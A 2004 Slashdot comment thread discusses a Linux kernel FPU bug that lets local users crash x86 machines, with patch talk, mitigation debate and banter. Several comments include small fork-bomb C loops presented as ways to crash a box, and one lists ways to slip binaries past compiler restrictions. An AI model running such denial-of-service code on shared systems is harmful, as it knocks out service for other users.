Re:Fixed quickly. by OwlWhacker · 2004-06-14 02:14 · Score: 1

I would have already applied the patch by clicking "Windows Update"

You actually apply those things? That's like OS Russian Roulette!

--
Linux/Open Source/Anti Microsoft News

up2date -u by catscan2000 · 2004-06-14 02:14 · Score: 1

Use `up2date -u`. I think it's also possible to use `yum` or other commands, though I'm still in the process of getting up-to-speed with Fedora 2..

IGNORE above ... new info. by Ayanami+Rei · 2004-06-14 02:14 · Score: 4, Informative

God I wish I could edit posts.

The issue isn't that the context is gone... the issue is that the kernel is executing a non-waiting FPU instruction i.e. "fwait" on returning from the a context that flushes a user thread (i.e. return from signal handler, syscall after execve). Triggers the FPE, except the kernel isn't set up to handle FPEs properly from kernel space in this case. The problem is that the TS flag is set because it's switching tasks, so it receives a different exception, trap 7 (device_not_available). The purpose of that exception is to signal the kernel that a newly created process wants the FPU. So it attempts to set up the FPU... which ends up calling __clear_fpu again... heh... and the original exception isn't cleared yet... whoops.

What's really weird is I found this document, which details the potential problems of trying to use the FPU in a interrupt handler in the Linux kernel.

They brought up the potential of triggering this EXACT PROBLEM... quote "endless trap 7 activation"... only in this case they're talking about writing an interrupt routine, not returning from a signal handler. Still, they already discovered this misbehavior...

Well, you can't really call it that, though. It's was sort of by design (to make task switching faster). But the thing is you have to be ABSOLUTELY SURE that you never raise an FPE when TS is set, and you're NOT a user thread. That's what gets you burned here.

--
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON

Re:IGNORE above ... new info. by Prowl · 2004-06-14 02:32 · Score: 1

if you do get cat5.net, i would suggest refraining from giving free shell accounts for the time being :-)

mod parent up btw

--
That man tried to kill mah Daddy
Re:IGNORE above ... new info. by Anonymous Coward · 2004-06-14 03:12 · Score: 1, Funny

Well damn, I've never seen anybody reply to himself so many times in one story...do you talk to yourself often?? ;)
Re:IGNORE above ... new info. by bigberk · 2004-06-14 04:57 · Score: 1

So if it's a floating point issue, am I safe with my 80486-based server? I always loved that CPU...
Re:IGNORE above ... new info. by LogicHoleFlaw · 2004-06-14 09:34 · Score: 2, Funny

Well, when you exist as a group of genius vat-grown clones, it's bound to happen sometime....

--
-- Flaw

Re:disable compiler access for non-trused shell us by BenjyD · 2004-06-14 02:15 · Score: 1

You can limit all those with user limits on number of processes, CPU usage, disk quotas etc. Any machine with public shell access should have those set up. This bug is different.

Removing the compiler wouldn't help, anyway - presumably most systems with public shell access also have some sort of ftp access. You could even rig up something to echo the binary to a file through a terminal, I'm sure.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:16 · Score: 0

It's interesting to see how such an obvious troll gets modded as funny.

It's even more interesting to see how such an obviously sarcastic and humorous post gets labelled "troll".

Sure, if you don't read the last paragraph, it's a troll. But come on.... "Admiral Taco", "the great Swede himself, Linux Torvaldis", "VB/Linux".
Thats gold Jerry.... GOLD!!

Re:disable compiler access for non-trused shell us by Maljin+Jolt · 2004-06-14 02:16 · Score: 2, Funny

I suppose the answer is not allow access to a compiler for non-trusted shell users.

Please do not forget to deny using keyboard keys representing hexadecimal digits, i.e. A-F and 0-9 to untrusted users.

--
There you are, staring at me again.

Re:This is another reason why C should be deprecat by julesh · 2004-06-14 02:17 · Score: 2, Insightful

Did you actually read it? I think it was the best troll parody I've seen for a while. I mean, the author clearly understood exactly what he was talking about when discussing C's support for pointers, which means that the way he missed the point and described them as 'inefficient' is marvelous.

Also, in light of recent events concerning the ADTI 'Samizdat' book & the author getting Tanenbaum's nationality wrong, describing Linus Torvalds as a Swede is a masterstroke.

Re:Fixed quickly. by Hiro+Antagonist · 2004-06-14 02:18 · Score: 3, Informative

The thing about Windows bugs is that many of them are remotly exploitable by unprivileged users; in order to exploit bugs like this, and in fact any root compromise that I know of, you need to first get a shell on the machine. Much harder than throwing up a web page or sending out a trojaned email.

--

--
I Hit the Karma Cap, and All I Got Was This Lousy .sig.

Re:This is another reason why C should be deprecat by Prowl · 2004-06-14 02:18 · Score: 1

even the moderator - +1 Interesting... :-/

--
That man tried to kill mah Daddy

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:18 · Score: 0

If so, I missed that news flash.

I think you also missed your sense of humor...

Re:This is another reason ... nice job dude by Anonymous Coward · 2004-06-14 02:18 · Score: 0

At least 8 mods seem to have got it.

A troll, but a funny one. I just hope the guys in M2 get it...

Patch doesn't work for me, 2.4.26 by TDot · 2004-06-14 02:18 · Score: 5, Interesting

I have a "very nearly vanilla" 2.4.26 kernel - all that's patched are some netfilter things for more targets. This patch didn't work for me - the patch went fine (my signal.c is no different from vanilla), and the resulting kernel booted fine, but the exploit still crashed my box. I'm using gcc-2.95.4 , Debian 3.0 (Woody). No I didn't forget to run lilo or whatever (i'm using Grub). Any ideas?

Re:Patch doesn't work for me, 2.4.26 by Anonymous Coward · 2004-06-14 13:58 · Score: 0

copy the damn kernel into /boot
Re:Patch doesn't work for me, 2.4.26 by TDot · 2004-06-16 02:37 · Score: 1

Obviously I did that, what a silly remark...

Probably... by Kjella · 2004-06-14 02:19 · Score: 1

...because I don't think OSS has any "magical" powers to produce bug-free code, only better bug finders (In the CSS world, if it works you leave it alone. In Linux there's always someone tinkering with it). So, starting with the same codebase, Linux would appear to have more bugs to begin with, then less. Or maybe it's more buggy, work-in-progress like. It's very hard to tell, really.

Also note that if Windows had a "shell exloit" for non-admin users, the only thing it'd do for 99,9% of the users out there is to crash the users own machine. I wouldn't want to try doing with Windows what you do with Linux...

Kjella

--
Live today, because you never know what tomorrow brings

hrm, how about... by vena · 2004-06-14 02:19 · Score: 1

their inspiration of a false sense of security? :P

Re:OS bugs are like golf... by loconet · 2004-06-14 02:21 · Score: 1

..I am afraid that this comparison might fall out to the advantage of Windows ...and how do you know this exactly?

I'm sure there is a comparable (if not greater) amount of critical bugs in windows's kernel that because of its closed nature we don't ever get to see or MS sweeps under the carpet without the public ever knowing they exist until someday they're found.

--
[alk]

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:21 · Score: 0

as the name in question is acronym for Practical Extraction and Report Language

Heretic! Everyone knows it's the Pathologically Eclectic Rubbish Lister.

Re:disable compiler access for non-trused shell us by NicolaiBSD · 2004-06-14 02:21 · Score: 2, Interesting

That's not much of a solution; I'd just compile the binary on another system with matching library versions and then upload and execute it on your machine.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:22 · Score: 0

Additionally, the my programming launguage is better than yours conversation is off-topic and grossly redundant, and I apologize for helping it to continue

(Score:-1, Flamebait)

Apology accepted.

Re:OS bugs are like golf... by Anonymous Coward · 2004-06-14 02:22 · Score: 0

hey, at least linux trolls are consistant, unlike windows :)

YHBT by Anonymous Coward · 2004-06-14 02:22 · Score: 0

No, YOU are an ass. An obvious troll, and you swallowed it hook, line and sinker. You read something that says that Alan Cox is excited about switching to VB and didn't smell a rat? Bwahahahahah!

no shit... by Anonymous Coward · 2004-06-14 02:22 · Score: 0

infinite loops can crash systems? who'da thunk it!

Re:OS bugs are like golf... by RAMMS+EIN · 2004-06-14 02:23 · Score: 1

`` Linux has been plauged by local exploits for a long time, but you have to get on the server FIRST.''

For that, you use the same techniques as on Windows: vulnerabilities in daemons, CGI scripts, trojans, backdoors, ...

--
Please correct me if I got my facts wrong.

A good time to disable compiler access by nacs · 2004-06-14 02:24 · Score: 2, Informative

This is definitely not a fix for this exploit but if you're running a server where you have given shell access to a few people (like on a hosting server), this would be a good time as ever to limit compiler access.

Here's how:

Add compiler group:

/usr/sbin/groupadd compiler

Move to correct directory:

cd /usr/bin

Make most common compilers part of the compiler group

chgrp compiler *cc* chgrp compiler *++* chgrp compiler ld chgrp compiler as

Set permissions

chmod 750 *cc* chmod 750 *++* chmod 750 ld chmod 750 as

To add users to the group, modify

/etc/group

and change

compiler:x:123:

to

compiler:x:123:username1,username2

'123' will be different on your installation.

Again, don't think this is a fix for the exploit. It's just a good little step in securing a box.

--
"I filter at +6, and have yet to miss out on an important comment." (#822545)

Re:A good time to disable compiler access by PoochieReds · 2004-06-14 02:31 · Score: 5, Insightful

This does no good if someone builds the program on another machine and then copies it to your host. Limiting compiler access really doesn't help secure anything unless you also prevent anyone from transferring any files to the machine (which is quite impractical).
Re:A good time to disable compiler access by Sloppy · 2004-06-14 02:35 · Score: 5, Insightful

Having a local compiler available makes things easier, but it doesn't give a user any fundamental powers that they wouldn't already have. They can get executable code into the system in other ways, even if they don't have a local compiler. Transfer it from another computer, or even manually enter it. Are you also going to disable cat and chmod?
I don't think this idea is useful.

--
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
Re:A good time to disable compiler access by BubbaFett · 2004-06-14 03:30 · Score: 0

Anybody with sense enough to use a compiler would presumably know how to copy a binary compiled on another machine. This does little aside from making life more painful for the admin and legitimate users.
Re:A good time to disable compiler access by bl8n8r · 2004-06-14 03:44 · Score: 1

better yet...s/chgrp/rm/g

chgrp compiler *cc*
chgrp compiler *++*
chgrp compiler ld
chgrp compiler as

It would be wise not to have these on a production server anyway. Although if I was trying to crack a system I would transfer a working binary from somewhere.

slash'd link? google has this story linked as well.
http://www.google.com/search?as_q=linux&num =100&hl =en&ie=UTF-8&btnG=Google+Search&as_epq=crash+explo it&as_oq=&as_eq=&lr=&as_ft=i&as_filetype=&as_qdr=a ll&as_nlo=&as_nhi=&as_occt=any&as_dt=i&as_sitesear ch=&safe=images

--
boycott slashdot February 10th - 17th check out: altSlashdot.org
Re:A good time to disable compiler access by duncanmacvicar · 2004-06-14 10:12 · Score: 1

Linux binary compat sucks enough to be sure a executable will fail to run out of the box on another machine.
Re:A good time to disable compiler access by Anonymous Coward · 2004-06-14 10:25 · Score: 0

So they FTP it into their cgi-bin and run it?

Base 64 encode (or some other encoding algorithm) the binary, paste it into a terminal window, then run it?

Your solution fixes one way. There are MANY more that a creative person could think of. :)

Re:This is another reason why C should be deprecat by spacepimp · 2004-06-14 02:25 · Score: 1, Offtopic

crack smokers unite.. all too long have we been derided as ignorant burntout freaks.. by people who dont undesrtand us.. we have made much progress since the 80s and have a great new gui too..

Answers to questions. (Summary posted anon) by Anonymous Coward · 2004-06-14 02:25 · Score: 0

Crash occurs without syscalls.
Crash happens on all machines, but only locks up one CPU at a time on SMP.
Crash occurs with any signal, also on return from exec syscall.
Crash occurs only on x86 and x86_64.

read.

+1 informative (was Re:DNFTT) by Anonymous Coward · 2004-06-14 02:25 · Score: 1, Funny

DNFTT = "Do not feed the troll"
YHBT = "You have been trolled"
YHL = "You have lost"
HAND = "Have a nice day"
ROTFLMAO = "Rotten floor mayo"

HTH

this is a 2 yo thread by Anonymous Coward · 2004-06-14 02:26 · Score: 0

author just did a copy and paste from:

http://www.google.com.au/search?q=cache:_X9ocw-9 Yj YJ:dbforums.com/arch/88/2002/7/364963+Admiral+Taco ++linus&hl=en

Relax by Kjella · 2004-06-14 02:27 · Score: 1

Don't worry, and run up2date/yum/apt-get or update tool of your choice. For all I know, my box could already be fixed and I don't know it yet.

Recompiles are for people who are really on the bleeding edge. The equivalent would be on some priviliged hotfix service with Microsoft. If you keep up with your distro's fixes you'll be at least as safe as with MS update, and just as easy.

Kjella

--
Live today, because you never know what tomorrow brings

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:28 · Score: 0

Two words for people like you...

SUNLIGHT VIRGIN.

What does the patch fix? by Urban+Garlic · 2004-06-14 02:29 · Score: 4, Interesting

Question for the kernel gurus out there -- I read the article and the patch (so sue me), and it seems to me that the patch just redirects the signal-handler flow if sig==8.

This may well protect against the example exploit, but what happens if you get a floating-point exception in the handler for some other signal?

The provided patch does not look like a real fix, unless the deeper bug really does just involve sig==8.

--
2*3*3*3*3*11*251

Re:What does the patch fix? by sziwan · 2004-06-14 03:08 · Score: 1

The patch is not a real fix. Any signal will do, though it presumably needs to be called from kernel space (take SIGSEGV, works fine here).
Re:What does the patch fix? by pclminion · 2004-06-14 03:34 · Score: 3, Interesting

It isn't a fix, just a patch. Think of it as a software bandaid. It covers the problem and gives the kernel developers time to fix it the right way, but in the meantime, it interferes with normal operations. Just like a real bandaid.
And nobody ever said bandaids were bad, right?
Re:What does the patch fix? by Anonymous Coward · 2004-06-14 04:19 · Score: 0

They sure are if some people think they are cures ;)
Re:What does the patch fix? by Anonymous Coward · 2004-06-14 06:12 · Score: 1, Funny

No, I wouldn't expect anything better from the open sores community.
Re:What does the patch fix? by Anonymous Coward · 2004-06-14 08:10 · Score: 3, Interesting

Why not have the signal handler issue a FNCLEX? If floating point activity isn't supposed to be going on at that point in the handler anyhow, then it'll clear any of the malicious garbage out of there. Then there's no reason to check on a specific signal type.
Re:What does the patch fix? by csirac · 2004-06-14 17:03 · Score: 1

Read the patch. It does just that.

Re: My Experience with the Linux by Anonymous Coward · 2004-06-14 02:30 · Score: 1, Interesting

LOL!!....what a fucktard.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:31 · Score: 1, Funny

It was a joke.
As I said to another moron who missed it, you are a SUNLIGHT VIRGIN. Interaction with things other than that humming box lets you get things like this. Trust me, even though the sun is bright and hot, it won't hurt you.

The code by ameoba · 2004-06-14 02:32 · Score: 1

Here's the code that does it:

void main(){ while(1){ *malloc(100)=fork(); } }

--
my sig's at the bottom of the page.

Not this old gem: by ocie · 2004-06-14 02:35 · Score: 1

int main(int argc, char **argv)
{
while(1) {
fork();
}
return 0;
}

--
JET Program: see Japan, meet intere

Re:quick fix by Anonymous Coward · 2004-06-14 02:35 · Score: 0

Fuck the GUI

This is a bad situation that needs to be remedied by slashdot_commentator · 2004-06-14 02:36 · Score: 1

Right now, any semi-current linux setup is a sitting duck for this kind of DOS attack. It will stay this way, until some programmer sends the maintainers a patch, and the maintainers release it as a new version (and the distributions make it available to their users). I'm guessing there is a minimum three days for all of this to come about, and I'm sure not seeing a fix on kernel.org right now. Sure you need a shell to run the DOS exploit, BUT do you really think crackers aren't working on a remote version right now?

With commercial vendors, convention among the white hat hackers is to inform the vendors, and agree to a non-disclosure period (3 months?) before making the security hole public. That is certainly a preferable method than leaving thousands of linux machines vulnerable right now.

Perhaps Linus could assign a volunteer for the development and stable kernels to act as "security" maintainer. Ethical hackers could report the details to them, the security officer can contact the developers that have their code affected. Between them and whatever volunteers they can discreetly ask for help could code a fix, test it, and then have it merged/released into the official trees as a security fix. This would minimize the sitting duck situation. Even if Linus decides not to implement this, it should be done at every commercial distributor. They tend to release their own tweaked kernels anyway, and it would be a service to their customers. Plus, they can inform their customers to update, and let the information wreak havoc with their competitors (until they implement and distribute a fix).

--
There is no America. There is no democracy. There is only IBM and AT&T and DuPont, Dow, General Electric, and Exxon

Hahahaha! Hahaha by Anonymous Coward · 2004-06-14 02:36 · Score: 0

Love that troll.

Idiots write slow C code- Java and C# will always be slower. As they are written with C how can they be faster? The benefit of Java and C#, is that they make idiots' code run faster than it normally would.

SCO Stolen Code? by UTPinky · 2004-06-14 02:36 · Score: 1, Funny

Is this the stolen code that SCO's been complaining about?

--
I'm only paranoid because everyone is against me...

Re:This is another reason why C should be deprecat by tehcyder · 2004-06-14 02:36 · Score: 1

The point of a troll parody is lost on me, as it is perilously close to parodying a parody.

For instance, it is in fact a standard troll technique to call Linus Norwegian/Swedish/Danish/whatever, anyway. So, if this is indeed a "masterstroke" arising from the events you describe, it is still indistinguisable from a real troll.

Or, am I smoking crack?

--
To have a right to do a thing is not at all the same as to be right in doing it

Although Windows is Easier to apply patches to... by koniosis · 2004-06-14 02:40 · Score: 4, Interesting

The update may be avaliable faster than Windows, but you cannot say that it is /easier/ to apply than a Windows patch. I hate recompiling my kernel, it always takes me a number of attempts until everything works. Also my server is running Linux and is serving two houses of people with net access, I can't just take it down and mess around with it for hours while I have fun trying to get a working kernel. So regardless of when the patch was released I still need to wait until later tonight to apply the patch.

--
I spent ages trying to think of sig, but never did :(

[venom]For a moment I thought you were serious .. by flyingace · 2004-06-14 02:43 · Score: 2, Interesting

For a moment I thought you were serious, as I read the first 2 lines of your post ... I felt this venom building up inside me. They I saw, you thread was maked funny. What a relief.

Safe Sex and Driver's Licenses by tigre · 2004-06-14 02:43 · Score: 1

The safest sex is no sex at all. Firewalls are condoms that most people are too lazy or uninformed to use, but everybody wants to do it (get on the 'Net). So we end up with a growing epidemic, made worse by the fact that many of these Internet Transmitted Diseases not only destroy the infected and infect others, but they make those infected into pawns of others.

This is just a random idea, and I'm sure y'all will have plenty of ways to shoot it down, but maybe we need at least some sort of base level of certification so that we can decide whether or not to accept packets or e-mails from a given machine. It sounds dangerously similar to trusted computing, but we do need to ensure that people (switching metaphors mid-post) driving on our information superhighway have a minimally safe vehicle, at least so that they don't go crashing into everyone else.

How could this be done? Maybe my machine runs some quick security checks on your machine whenever you try to connect to mine. Or I trust someone else's word about whether your machine at least meets the minimum safety standards. Let this never let anyone fall into a false sense of security just because that minimum level is met. And that minimum level should change as new threats emerge. But it would reduce the penalty that the whole driving population pays for the mistakes of one subset. That subset would have to at the very least get their license or we could shut them out of driving near us.

Re:Safe Sex and Driver's Licenses by Dwonis · 2004-06-14 05:45 · Score: 1

That's an interesting approach, but it's unnecessary. Computers, whether connected to a network or not, only do what they're programmed to do. It just so happens that. today, a lot of computers are programmed (accidentally or otherwise) to execute arbitrary code from unauthorized third parties. There are ways to avoid this, but many programmers are too lazy or inexperienced to care.

Another fallacy of Open Source by glorf · 2004-06-14 02:47 · Score: 2, Insightful

There are patches that "work", even before a full explanation is available. Now, thousands of people are actively working on a solution, if they so choose.

So who is serious enough about security to want this patched, but stupid enough to just accept a patch from any of thousands of developers? Yes you could evaluate the source of each patch and recompile using th new code, but who has time for that? Open Source and proprietary software are no different in terms of patches. If you don't get it straight from the horse's mouth then you are not following very good security procedure.

After all, doesn't anyone remember this? You can find open source patches for proprietary software every once in a while too, but you would be nuts to trust them.

UML by mikeee · 2004-06-14 02:50 · Score: 1

So if I run this exploint in a user-mode-linux instance, do I crash the UML or does it get the host OS also?

They DO care. But are afraid... by mangu · 2004-06-14 02:50 · Score: 2, Interesting

At one time, when I first got internet access, I used to keep my windows machine patched to the latest releases. Until I got into some sort of singularity, where I needed a patch I hadn't downloaded yet in order to download that same patch. Iexplore stopped working without that patch. After a week of messing with the computer, the only way to get internet access working was to format and re-install.

Lessons learned: (1) use Linux and keep it up-to-date with apt-get; (2) in the games partition which runs windows, *never* patch anything.

Re:They DO care. But are afraid... by Entropius · 2004-06-14 03:19 · Score: 1

Iexplore == internet access?
Re:They DO care. But are afraid... by Allen+Zadr · 2004-06-14 03:41 · Score: 1

In the mind of a USER, yes, Internet Explorer _is_ the internet. Most users think there is a "different" connection for Email, a "different" connection for Instant Messenger. I think it's very appropriate for the context of the story.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:They DO care. But are afraid... by akvalentine · 2004-06-14 04:20 · Score: 1

Iexplore == internet access?

It does as far as Windows Update is concerned.

Must be ANSI SLASHDOT C by Anonymous Coward · 2004-06-14 02:57 · Score: 0

'cos not a single one of you muppets can even write the equivilent of Hello World and get it right. #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ){ int r; r = printf("I love C\n"); if( r ){ r = EXIT_FAILURE; }else{ r = EXIT_SUCCESS; } return r; }

Re:Must be ANSI SLASHDOT C by Anonymous Coward · 2004-06-14 03:03 · Score: 1, Informative

argc and argv are not necessary to be ANSI. EXIT_SUCCESS is defined as:
#define EXIT_SUCCESS 0
Thus, returning zero is perfectly acceptable.

Where does it say in the standard that you have to explicitly call EXIT_SUCCESS?
Re:Must be ANSI SLASHDOT C by Anonymous Coward · 2004-06-14 03:20 · Score: 0

if ( r+1 == sizeof "I love C\n" ) ...
Re:Must be ANSI SLASHDOT C by Anonymous Coward · 2004-06-14 03:45 · Score: 0

argc and argv are not necessary to be ANSI.

Yet are both good practice. Note I omit envp

ANSI. EXIT_SUCCESS is defined as:

#define EXIT_SUCCESS 0

Thus, returning zero is perfectly acceptable.

Oh I'm sorry, lets look at what you could have won! EXIT_FAILURE and EXIT_SUCCESS are macros for a reason, and just because on your system EXIT_SUCCESS is 0 does not mean that it is 0 on every system, nor that it may be some other value in the future.

Where does it say in the standard that you have to explicitly call EXIT_SUCCESS?

Call? I guess you mean return, and as main must return you have to return something. So good practice wins again.

Cutting corners and ignoring best practice just gives us the sorts of bugs that leas to kernel level exploits..
Re:Must be ANSI SLASHDOT C by Anonymous Coward · 2004-06-14 03:48 · Score: 0

Cutting corners and ignoring best practice just gives us the sorts of bugs that leas to kernel level exploits..
You're missing the point. We're not talking about safe code, we're talking about standard code. Again, where is it in the ANSI standard?
Re:Must be ANSI SLASHDOT C by Anonymous Coward · 2004-06-14 05:35 · Score: 0

Oh I'm sorry, lets look at what you could have won! EXIT_FAILURE and EXIT_SUCCESS are macros for a reason, and just because on your system EXIT_SUCCESS is 0 does not mean that it is 0 on every system, nor that it may be some other value in the future.

Actually whether EXIT_SUCCESS is 0 or not is irrelevant. It is _required_ for any standard-conforming compiler to send a successful exit status code both when the return value is EXIT_SUCCESS and when it is 0. However, EXIT_FAILURE is is the only portable way to pass a nonsuccessful status to the system.

Now, in the real world there are pre-standard compilers around as well and some of them are known to not perform this mapping so it might be a wise idea anyway..
Re:Must be ANSI SLASHDOT C by cabazorro · 2004-06-14 07:07 · Score: 1

Edna and Joe getting ready to go to the beach:

Joe: Sugar, did you put my flip-flops in the bag?

Edna: If you asked me to put them I did.

Joe: I don't remember if I asked you, did you put them?

Edna: If you asked me; don't worry about it, they are there.

Joe: Dang it Sug! Just tell me where are my
goddam flip-flops!
Edna: Wherever you left them, dear.

Note: Edna is a Software QA at her Engineering
firm and find MACROS and integral part of
the software best practices.

--
- these are not the droids you are looking for -

How to crash windows dead by Safety+Cap · 2004-06-14 02:59 · Score: 1

Compile and go. Make sure you save/close everything, cause' this bad boy will make your boxxen seize up harder than Shrub's brain when confronted by a reporter's direct question.

void main(int argc, char* argv[]) { for(;;) printf("Windoze is teh sux\t\b\b\b\b\b\b"); }

--
Yeah, right.

Re:How to crash windows dead by Anonymous Coward · 2004-06-14 03:23 · Score: 0

Failing to apply SPs is teh sux. Idiot.
Re:How to crash windows dead by TheLink · 2004-06-14 05:09 · Score: 1

Wow, you haven't patched since Win2K sp2?

Or you're still using NT4.0 (or even older?)?

Or you just suck?
--
- Too many replies beneath your current threshold
Re:How to crash windows dead by Anonymous Coward · 2004-06-14 05:50 · Score: 0

void main() -> undefined behavior, so crashing is perfectly valid according to C89.

Of course the printf() is the problem but I thought I'd point out the above.

Yes by Anonymous Coward · 2004-06-14 03:00 · Score: 0

Join us. There are clowns and ballons, and clowns with ballons and everything down here! It's great, you'll love it. They always do, we make sure of it!

Bugs will happen... by Anonymous Coward · 2004-06-14 03:10 · Score: 0

Every system has bugs. I'm just pleased that this bug was noticed and handled so quickly and efficiently. And I'm no guru but from my understanding you have to want to break the kernel by issuing compiling and executing code such as this... Heck, I can crash MS XP Pro by simply running IE. :P

Re:This is another reason why C should be deprecat by rendler · 2004-06-14 03:11 · Score: 3, Informative

From the perlfaq1 man page:

What's the difference between "perl" and "Perl"?

One bit. Oh, you weren't talking ASCII? :-) Larry now uses "Perl" to signify the language proper and "perl" the implementation of it, i.e. the current interpreter. Hence Tom's quip that "Nothing but perl can parse Perl." You may or may not choose to follow this usage. For example, parallelism means "awk and perl" and "Python and Perl" look OK, while "awk and Perl" and "Python and perl" do not. But never write "PERL", because perl is not an acronym, apocryphal folklore and post-facto expansions notwithstanding.

Some people are pedantic about these sorts of things. Personally my only spelling pet peeve is seeing people use 'alot'.

--

*shrug*

Re:Although Windows is Easier to apply patches to. by alexbartok · 2004-06-14 03:12 · Score: 2, Insightful

If you maintain a Linux system for a larger group of people, you should know what you are doing. Pardon me, but obviously you're not.
As soon as I read this I upgraded our Firewall at work. I downloaded the latest 2.6, got the patch from the bottom of the linuxreviews site. That took about 4 minutes on a somewhat fast internet connection.
Extracting the Kernel and patching it: 1 minute, brain involved: none (patch howto on that page as well, besides, if you are a real sysadmin you'll be able do kernel patches single fingered).
Configuring the kernel: 1 minute as well, using make oldconfig (porting over my .config from 2.6.4, then answering a few questions for new options) brain involved: 1%, well documented in case of doubt.
Compiling: make-kpkg kernel_image: 10 minutes, brain involved: 0%.
Installing: dpkg -i ../kernel....: 10 seconds, brain involved: 0%.
Rebooting: about 1.5 minutes, brain involved: how fecking hard can it be to type 'shutdown -r now' ? or maybe even 'reboot' :P

This also answers the other posting where somebody was whining about making the updates moronproof... Most distros have this 'feature', autoupdating, Redhat: up2date, Debian: apt (through security.debian.org), ...

Re:This is another reason why C should be deprecat by Etyenne · 2004-06-14 03:13 · Score: 1

And, as the name in question is acronym for Practical Extraction and Report Language I think PERL is a perfectly valid way of writing it, if a little old-fashioned.

No. Check perlfaq1(1) for the whole story.

--
:wq

This is the best they can come up with? by shaitand · 2004-06-14 03:14 · Score: 1

Gee, I remember when programs intentionally written to crash the OS were simply considered lame not security exploits?

Or have they been grasping at straws lately trying to come up with linux exploits so they decided to make this sound a bit more grand?

I can write one for Windows, MacOS, Linux, etc etc etc for eternity. Hell on most OS's simply using enough memory will do it.

There are easier ways, how about pressing the power button? or perhaps ctrl+alt+delete. Yup, uber security exploit which takes down the system, allows no code execution or priv escalation, gives absolutely no access to anything the user shouldn't have access to and will result in immediate termination of his account when you do a process audit... just like doing the same thing a million other ways will.

Give them a compiler and they can bring down the system, each time every time, ANY system. But I'd hardly call that an exploit.

Re:This is the best they can come up with? by BenjyD · 2004-06-14 03:34 · Score: 5, Insightful

This is a reasonably serious bug. A well-configured *nix box should not be crashable by anything a normal user can do. The amount of memory a user can allocate, the number of processes they can launch, the size and number of files they can create should all be limited through user limits. There is no way (AFICS) to prevent this bug being exploited through those kind of limits. If there are lots of people logged in, figuring out who crashed the box would be quite hard - just have the crashing program delete itself before it crashes the box.

Hitting ctrl-alt-delete or the power requires physical access, which shell users almost never have (I don't even know where most of the computers I use every day are - they could be in Timbuktu for all I care).
Re:This is the best they can come up with? by npsimons · 2004-06-14 11:40 · Score: 1

There is no way (AFICS) to prevent this bug being exploited through those kind of limits.

I have pretty strict user limits set on all my users (including myself, to be fair). When I saw this article posted this morning, I cut and pasted the code, compiled it, saved everything on my test/development workstation, then ran it. The MP3's stopped playing, a bad sign. Used the SysRq keys to Sync, Unmount and Boot after other typical keypresses didn't work. So no, limits don't prevent this.

--
Nathan's blog

Windows Update problem by stridebird · 2004-06-14 03:17 · Score: 1

The Windows update system is undoubtedly a step forward by the M$ behemoth, but it has one crucial failing as I see it...the system will only look for an update when it initialises - after boot-up and possibly on log-off / log-on as well.

If you have the habit of leaving the machine on for extended periods, you will not receive notification of new updates until you cycle power (possibly log out and back in too...). Lots of Wusers do this (leave their computer on), which may leave them thinking they are well protected when in fact their machines may need urgent patching.

Re:Windows Update problem by Anonymous Coward · 2004-06-14 04:31 · Score: 0

That's completely false. Automatic Updates checks for updates every X minutes (I can't recall how many off the top of my head), not just when you login.
Re:Windows Update problem by Tim+C · 2004-06-14 07:58 · Score: 1

If you have the habit of leaving the machine on for extended periods, you will not receive notification of new updates until you cycle power

That is incorrect. My girlfriend's PC is on most of the time, and it notifies us about updates at the same time as mine does (which is switched off most nights).

--
It's official. Most of you are morons.
Re:Windows Update problem by stridebird · 2004-06-14 20:39 · Score: 1

Hmmm...
Well that's not my experience. I have noticed this failure of auto-updating on several machines in our office...needs a closer look then, there must be something else going on.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 03:18 · Score: 0

Is it specific to /. the lack of humor in the answers to this post...

Don't seeing the humor here is hard...

Re: My Experience with the Linux by Anonymous Coward · 2004-06-14 03:19 · Score: 0

I consider myself to be very technically inclined having programmed in VB for the last 8 years doing kernel level programming...

The above non-sequiter bit of hilarity says it all...I can just imagine it : "I've written an OS in VB and compiled it, saved it to a floppy and booted it."

Better fix? by Urban+Garlic · 2004-06-14 03:20 · Score: 1

OK, replying to myself, did some digging on LKML and found this.

Disclaimer: I have not personally tried either fix, but the second one (which modifies the "clear fpu" macro in the i387 header file) looks like a more appropriate fix to me.

The provided patch is for the 2.4.27-pre5 kernel, but my 2.4.26 "i387.h" file was the same, the patch can be applied. (Again, haven't tested it yet, don't know if it works.)

--
2*3*3*3*3*11*251

Re:This is another reason why C should be deprecat by mog · 2004-06-14 03:25 · Score: 1

You know, I was going to try to jab you for fun, and post "Yeah, that bugs me alot too." I typed it several times, and cleared it out. Seeing that awful "word" bugs me so much I can't even have a little fun at your expense with it! How's that for crazy?

Not news. by Anonymous Coward · 2004-06-14 03:26 · Score: 0

There are 1,001 ways to crash a linux kernel with access to a shell.

Save some keystrokes and give:

for(;;)
{
malloc(1);
fork();

}

a try.

Re:Not news. by multi+io · 2004-06-14 03:58 · Score: 3, Informative

There are 1,001 ways to crash a linux kernel with access to a shell. Save some keystrokes and give:
for(;;) { malloc(1); fork(); }

help ulimit
Re:Not news. by nairbv · 2004-06-14 04:27 · Score: 1

That's exactly what I was thinking when I read this article. In college at the computer labs (each computer had it's host name written on it and we had accounts on all of them) I'd ssh into friends computers and write a quick while(1){fork;} to crash their computers (they did it to me too, we were just entertaining each other while doing homework). What's the point of this fancy longer chunck of code? It's no better...
Re:Not news. by Anonymous Coward · 2004-06-14 10:54 · Score: 0

That's a resource problem, not a kernel bug. There are ways to limit the number of processes per user and other ways of eliminating fork bombs. When the kernel locks, there's no administrative way to correct the problem.

Re:This is another reason why C should be deprecat by moby · 2004-06-14 03:29 · Score: 1

... yeah, that really gets me alot of the time too !

Re:Although Windows is Easier to apply patches to. by koniosis · 2004-06-14 03:30 · Score: 1

